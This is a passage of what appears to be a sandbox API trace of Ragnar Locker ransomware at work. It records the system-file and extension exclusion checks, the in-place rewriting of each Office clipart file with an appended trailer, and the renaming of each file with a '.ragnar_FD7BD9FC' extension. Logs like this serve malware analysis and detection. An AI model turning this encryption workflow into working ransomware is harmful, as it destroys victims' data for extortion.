(lpString1="J0105390.WMF", lpString2="ntuser.ini") returned -1 [0083.777] lstrcmpiW (lpString1="J0105390.WMF", lpString2="thumbs.db") returned -1 [0083.777] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.777] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.777] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.777] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.777] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.777] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.777] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf")) returned 0x20 [0083.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.777] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4944) returned 1 [0083.777] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1347, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.777] GetProcessHeap () returned 0x580000 [0083.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.777] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.782] VirtualAlloc (lpAddress=0x0, dwSize=0x1350, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.782] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.782] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.782] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1350, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1350, lpOverlapped=0x0) returned 1 [0083.783] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.783] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1350, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.783] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1350, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1350, lpOverlapped=0x0) returned 1 [0083.783] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1350, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.783] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.784] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1350, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.784] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.784] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.784] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.784] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.784] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.784] GetProcessHeap () returned 0x580000 [0083.784] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.784] CloseHandle (hObject=0xf4) returned 1 [0083.784] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" [0083.784] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.ragnar_FD7BD9FC" [0083.784] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.785] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b04, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105396.WMF", cAlternateFileName="")) returned 1 [0083.785] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.785] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105396.WMF" | out: lpString1="J0105396.WMF") returned="J0105396.WMF" [0083.785] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned=".WMF" [0083.785] lstrcmpiW (lpString1="J0105396.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.785] lstrcmpiW (lpString1="J0105396.WMF", lpString2="autorun.inf") returned 1 [0083.785] lstrcmpiW (lpString1="J0105396.WMF", lpString2="boot.ini") returned 1 [0083.785] lstrcmpiW (lpString1="J0105396.WMF", lpString2="bootfont.bin") returned 1 [0083.785] lstrcmpiW (lpString1="J0105396.WMF", lpString2="bootsect.bak") returned 1 [0083.785] lstrcmpiW (lpString1="J0105396.WMF", lpString2="bootmgr") returned 1 [0083.785] lstrcmpiW (lpString1="J0105396.WMF", lpString2="bootmgr.efi") returned 1 [0083.785] lstrcmpiW (lpString1="J0105396.WMF", lpString2="bootmgfw.efi") returned 1 [0083.785] lstrcmpiW (lpString1="J0105396.WMF", lpString2="desktop.ini") returned 1 [0083.785] lstrcmpiW (lpString1="J0105396.WMF", lpString2="iconcache.db") returned 1 [0083.785] lstrcmpiW (lpString1="J0105396.WMF", lpString2="ntldr") returned -1 [0083.785] lstrcmpiW (lpString1="J0105396.WMF", lpString2="ntuser.dat") returned -1 [0083.785] lstrcmpiW (lpString1="J0105396.WMF", lpString2="ntuser.dat.log") returned -1 [0083.786] lstrcmpiW (lpString1="J0105396.WMF", lpString2="ntuser.ini") returned -1 [0083.786] lstrcmpiW (lpString1="J0105396.WMF", lpString2="thumbs.db") returned -1 [0083.786] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.786] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.786] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.786] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.786] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.786] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.786] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf")) returned 0x20 [0083.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.786] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11012) returned 1 [0083.786] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2afb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.786] GetProcessHeap () returned 0x580000 [0083.786] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.786] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.788] VirtualAlloc (lpAddress=0x0, dwSize=0x2b04, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.788] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.788] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.788] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2b04, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2b04, lpOverlapped=0x0) returned 1 [0083.789] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.789] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b04, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.789] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2b04, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2b04, lpOverlapped=0x0) returned 1 [0083.789] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b04, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.789] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.789] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.789] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.789] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.790] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.790] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.790] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.790] GetProcessHeap () returned 0x580000 [0083.790] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.790] CloseHandle (hObject=0xf4) returned 1 [0083.790] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" [0083.790] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.ragnar_FD7BD9FC" [0083.790] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.791] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105398.WMF", cAlternateFileName="")) returned 1 [0083.791] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.791] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105398.WMF" | out: lpString1="J0105398.WMF") returned="J0105398.WMF" [0083.791] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned=".WMF" [0083.791] lstrcmpiW (lpString1="J0105398.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.791] lstrcmpiW (lpString1="J0105398.WMF", lpString2="autorun.inf") returned 1 [0083.791] lstrcmpiW (lpString1="J0105398.WMF", lpString2="boot.ini") returned 1 [0083.791] lstrcmpiW (lpString1="J0105398.WMF", lpString2="bootfont.bin") returned 1 [0083.791] lstrcmpiW (lpString1="J0105398.WMF", lpString2="bootsect.bak") returned 1 [0083.791] lstrcmpiW (lpString1="J0105398.WMF", lpString2="bootmgr") returned 1 [0083.791] lstrcmpiW (lpString1="J0105398.WMF", lpString2="bootmgr.efi") returned 1 [0083.791] lstrcmpiW (lpString1="J0105398.WMF", lpString2="bootmgfw.efi") returned 1 [0083.791] lstrcmpiW (lpString1="J0105398.WMF", lpString2="desktop.ini") returned 1 [0083.791] lstrcmpiW (lpString1="J0105398.WMF", lpString2="iconcache.db") returned 1 [0083.791] lstrcmpiW (lpString1="J0105398.WMF", lpString2="ntldr") returned -1 [0083.791] lstrcmpiW (lpString1="J0105398.WMF", lpString2="ntuser.dat") returned -1 [0083.791] lstrcmpiW (lpString1="J0105398.WMF", lpString2="ntuser.dat.log") returned -1 [0083.791] lstrcmpiW (lpString1="J0105398.WMF", lpString2="ntuser.ini") returned -1 [0083.791] lstrcmpiW (lpString1="J0105398.WMF", lpString2="thumbs.db") returned -1 [0083.791] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.791] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.791] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.791] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.791] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.791] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.791] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf")) returned 0x20 [0083.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.793] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3328) returned 1 [0083.793] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcf7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.793] GetProcessHeap () returned 0x580000 [0083.793] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.793] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.794] VirtualAlloc (lpAddress=0x0, dwSize=0xd00, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.795] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.795] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.795] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd00, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd00, lpOverlapped=0x0) returned 1 [0083.795] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.795] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd00, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.795] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd00, lpOverlapped=0x0) returned 1 [0083.795] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd00, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.795] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.795] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.795] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.795] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.795] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.796] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.796] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.796] GetProcessHeap () returned 0x580000 [0083.796] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.796] CloseHandle (hObject=0xf4) returned 1 [0083.796] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" [0083.796] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.ragnar_FD7BD9FC" [0083.796] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.796] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105410.WMF", cAlternateFileName="")) returned 1 [0083.796] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.796] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105410.WMF" | out: lpString1="J0105410.WMF") returned="J0105410.WMF" [0083.796] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF") returned=".WMF" [0083.797] lstrcmpiW (lpString1="J0105410.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.797] lstrcmpiW (lpString1="J0105410.WMF", lpString2="autorun.inf") returned 1 [0083.797] lstrcmpiW (lpString1="J0105410.WMF", lpString2="boot.ini") returned 1 [0083.797] lstrcmpiW (lpString1="J0105410.WMF", lpString2="bootfont.bin") returned 1 [0083.797] lstrcmpiW (lpString1="J0105410.WMF", lpString2="bootsect.bak") returned 1 [0083.797] lstrcmpiW (lpString1="J0105410.WMF", lpString2="bootmgr") returned 1 [0083.797] lstrcmpiW (lpString1="J0105410.WMF", lpString2="bootmgr.efi") returned 1 [0083.797] lstrcmpiW (lpString1="J0105410.WMF", lpString2="bootmgfw.efi") returned 1 [0083.797] lstrcmpiW (lpString1="J0105410.WMF", lpString2="desktop.ini") returned 1 [0083.797] lstrcmpiW (lpString1="J0105410.WMF", lpString2="iconcache.db") returned 1 [0083.797] lstrcmpiW (lpString1="J0105410.WMF", lpString2="ntldr") returned -1 [0083.797] lstrcmpiW (lpString1="J0105410.WMF", lpString2="ntuser.dat") returned -1 [0083.797] lstrcmpiW (lpString1="J0105410.WMF", lpString2="ntuser.dat.log") returned -1 [0083.797] lstrcmpiW (lpString1="J0105410.WMF", lpString2="ntuser.ini") returned -1 [0083.797] lstrcmpiW (lpString1="J0105410.WMF", lpString2="thumbs.db") returned -1 [0083.797] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.797] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.797] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.797] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.797] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.797] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.797] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf")) returned 0x20 [0083.797] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x40000005, 